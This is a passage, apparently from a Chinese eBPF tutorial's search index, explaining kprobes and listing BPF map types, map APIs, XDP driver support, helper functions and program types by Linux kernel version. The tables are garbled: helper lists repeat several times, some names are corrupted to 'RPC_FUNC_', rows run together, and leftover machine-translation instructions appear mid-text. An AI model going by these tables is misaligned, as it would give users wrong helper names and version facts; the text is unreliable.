技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态地插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。 kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是 pre_handler、post_handler 和 fault_handler，其中 pre_handler 函数将在被探测指令被执行前回调，post_handler 会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler 会在内存访问出错时被调用；jprobe 基于 kprobe 实现，它用于获取被探测函数的入参值；最后 kretprobe 从名字中就可以看出其用途了，它同样基于 kprobe 实现，用于获取被探测函数的返回值。 kprobes 的技术原理并不仅仅包含纯软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构，包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips（有些架构实现可能并不完全，具体可参考内核的 Documentation/kprobes.txt）。 kprobes 的特点与使用限制： kprobes 允许在同一个被探测位置注册多个 kprobe，但是目前 jprobe 却不可以；同时也不允许以其他的 jprobe 回调函数和 kprobe 的 post_handler 回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的，另外还有do_page_fault 和 notifier_call_chain； 如果以一个内联函数为探测点，则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数的运行上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码； kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，而在它的回调函数中可能会再次调用printk函数，此时将不再触发printk探测点的回调，仅仅是增加了kprobe结构体中nmissed字段的数值； 在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存； kprobes 回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃 CPU 的函数（如信号量、mutex 锁等）； kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现，因此栈回溯和 gcc 内嵌函数__builtin_return_address()调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 当在进入和退出一个函数时，如果 CPU 运行在非当前任务所有的栈上，那么往该函数上注册 kretprobe 可能会导致不可预料的后果，因此，kprobes 不支持在 X86_64 的结构下为__switch_to()函数注册 kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Map types ( a.k.a. 表格, 在 BCC 术语中)","id":"230","title":"Map types ( a.k.a. 表格, 在 BCC 术语中)"},"231":{"body":"您内核支持的 Map 类型列表可以在文件 include/uapi/linux/bpf.h 中找到: git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map 类型 内核版本 提交 枚举 哈希 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH\".Array Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGENetdevice references (hashmap) struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map 类型","id":"231","title":"Map 类型"},"232":{"body":"Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 传递NULL给GET_NEXT_KEY 创建: 选择NUMA节点 4.14 96eabe7a40aa 限制从系统调用方面的访问 4.15 6e71b04a8224 创建: 指定映射名称 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 创建: BPF_F_ZERO_SEED 5.0 96b3b6c9091d 查找/更新的BPF_F_LOCK标志 5.1 96049f3afd50 限制从BPF方面的访问 5.2 591fe9888d78 FREEZE 5.2 87df15de441b 数组映射的mmap()支持 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM哈希映射的支持 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"232","title":"Map userspace API"},"233":{"body":"您的内核支持XDP程序的驱动程序或组件的近似列表可以用以下命令检索: ```sh````git grep -l XDP_SETUP_PROG drivers/ 功能/驱动 内核版本 提交 XDP核心架构 4.8 6a773a15a1e8 操作：丢弃 4.8 6a773a15a1e8 操作：传递到堆栈 4.8 6a773a15a1e8 直接转发（同一端口） 4.8 6ce96ca348a9 直接数据包数据写入 4.8 4acf6c0b84c9 Mellanox mlx4驱动 4.8 47a38e155037 Mellanox mlx5驱动 4.9 86994156c736 Netronome nfp驱动 4.10 ecd63a0217d5 QLogic（Cavium）qed*驱动 4.10 496e05170958 virtio_net驱动 4.10 f600b6905015 Broadcom bnxt_en驱动 4.11 c6d30e8391b8 Intel ixgbe*驱动 4.12 924708081629 Cavium thunderx驱动 4.12 05c773f52b96 通用XDP 4.12 b5cdae3291f7 ` 注意： 本次翻译仅包括翻译部分，不包括原始文本。## 帮助者 您的内核支持的辅助者列表可在文件中找到。 Intel i40e 驱动程序 | 4.13 | 0c8493d90b6b 操作：重定向 | 4.14 | 6453073987ba 支持 tap | 4.14 | 761876c857cb 支持 veth | 4.14 | d445516966dc Intel ixgbevf 驱动程序 | 4.17 | c7aec59657b6 Freescale dpaa2 驱动程序 | 5.0 | 7e273a8ebdd3 Socionext netsec 驱动程序 | 5.3 | ba2b232108d3 TI cpsw 驱动程序 | 5.3 | 9ed4050c0d75 Intel ice 驱动程序 |5.5| efc2214b6047 Solarflare sfc 驱动程序 | 5.5 | eb9a36be7f3e Marvell mvneta 驱动程序 | 5.5 | 0db51da7a8e9 Microsoft hv_netvsc 驱动程序 | 5.6 | 351e1581395f Amazon ena 驱动程序 | 5.6 | 838c93dc5449 xen-netfront 驱动程序 | 5.9 | 6c5aa6fc4def Intel gi 驱动程序 | 5.10 | 9cbc948b5a20 include/uapi/linux/bpf.h: include/uapi/linux/bpf.h : git grep ' FN(' include/uapi/linux/bpf.h 按字母顺序排列 Helper 内核版本 授权许可 提交记录 BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb \"BPF_FUNC_current_task_under_cgroup() BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 \".\"BPF_FUNC_get_current_comm() BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca RPC_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 RPC_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 RPC_FUNC_get_prandom_u32() 4.1 03e69b508b6f RPC_FUNC_get_route_realm() 4.4 c46646d0484f RPC_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 RPC_FUNC_get_socket_cookie() 4.12 91b8270f2a4d RPC_FUNC_get_socket_uid() 4.12 6acc5c291068 RPC_FUNC_get_stack() 4.18 GPL de2ff05f48af RPC_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 RPC_FUNC_get_task_stack() 5.9 fa28dcb82a38 RPC_FUNC_getsockopt() 4.15 cd86d1fd2102 RPC_FUNC_ima_file_hash() 5.18 174b16946e39 RPC_FUNC_ima_inode_hash() 5.11 27672f0d280a RPC_FUNC_inode_storage_delete() 5.10 8ea636848aca \".\"BPF_FUNC_inode_storage_get() BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 `BPF_FUNC_lwt_seg6_adjust_srh()` `BPF_FUNC_lwt_seg6_store_bytes()` 4.18 fe94cc290f53 `BPF_FUNC_map_delete_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_percpu_elem()` 5.19 07343110b293 `BPF_FUNC_map_peek_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_pop_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_push_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_update_elem()` 3.19 d0003ec01c66 `BPF_FUNC_msg_apply_bytes()` 4.17 2a100317c9eb `BPF_FUNC_msg_cork_bytes()` 4.17 91843d540a13 `BPF_FUNC_msg_pop_data()` 5.0 7246d8ed4dcc `BPF_FUNC_msg_pull_data()` 4.17 015632bb30da `BPF_FUNC_msg_push_data()` 4.20 6fff607e2f14 \".BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 \"BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d \".\"BPF_FUNC_sk_cgroup_id() BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 。\"BPF_FUNC_skb_change_tail()` BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b \".\"BPF_FUNC_snprintf_btf() BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d \". 格式：只返回翻译后的内容，不包括原文。BPF_FUNC_sysctl_get_new_value()| 5.2| | 4e63acdff864 BPF_FUNC_sysctl_set_new_value()|5.2| | 4e63acdff864 BPF_FUNC_tail_call()|4.2| | 04fd61ab36ec BPF_FUNC_task_pt_regs()|5.15| GPL | dd6e10fbd9f BPF_FUNC_task_storage_delete()|5.11| | 4cf1bc1f1045 BPF_FUNC_task_storage_get()|5.11| | 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie()|5.2| | 399040847084 BPF_FUNC_tcp_gen_syncookie()|5.3| | 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_send_ack()|5.5 | | 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 \"BPF_FUNC_xdp_store_bytes() BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 注：仅GPL兼容的BPF助手需要GPL兼容的许可证。内核所认可的当前GPL兼容许可证有： GPL GPL v2 GPL和其他权利 双BSD/GPL 双MIT/GPL 双MPL/GPL 在您的 内核源代码 中查看GPL兼容许可证的列表。","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"233","title":"XDP"},"234":{"body":"可以使用以下命令获取程序类型和支持的辅助函数列表： git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ 程序类型 辅助函数 BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() 基础函数 BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() 跟踪函数 BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() 跟踪函数 BPF_PROG_TYPE_XDP BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() 基础函数 BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() 跟踪函数 BPF_PROG_TYPE_CGROUP_SOCK | BPF_FUNC_get_current_uid_gid() 基本功能 BPF_PROG_TYPE_LWT_IN | BPF_FUNC_lwt_push_encap() LWT功能 基本功能 BPF_PROG_TYPE_LWT_OUT LWT功能 基本功能 BPF_PROG_TYPE_LWT_XMIT | BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() 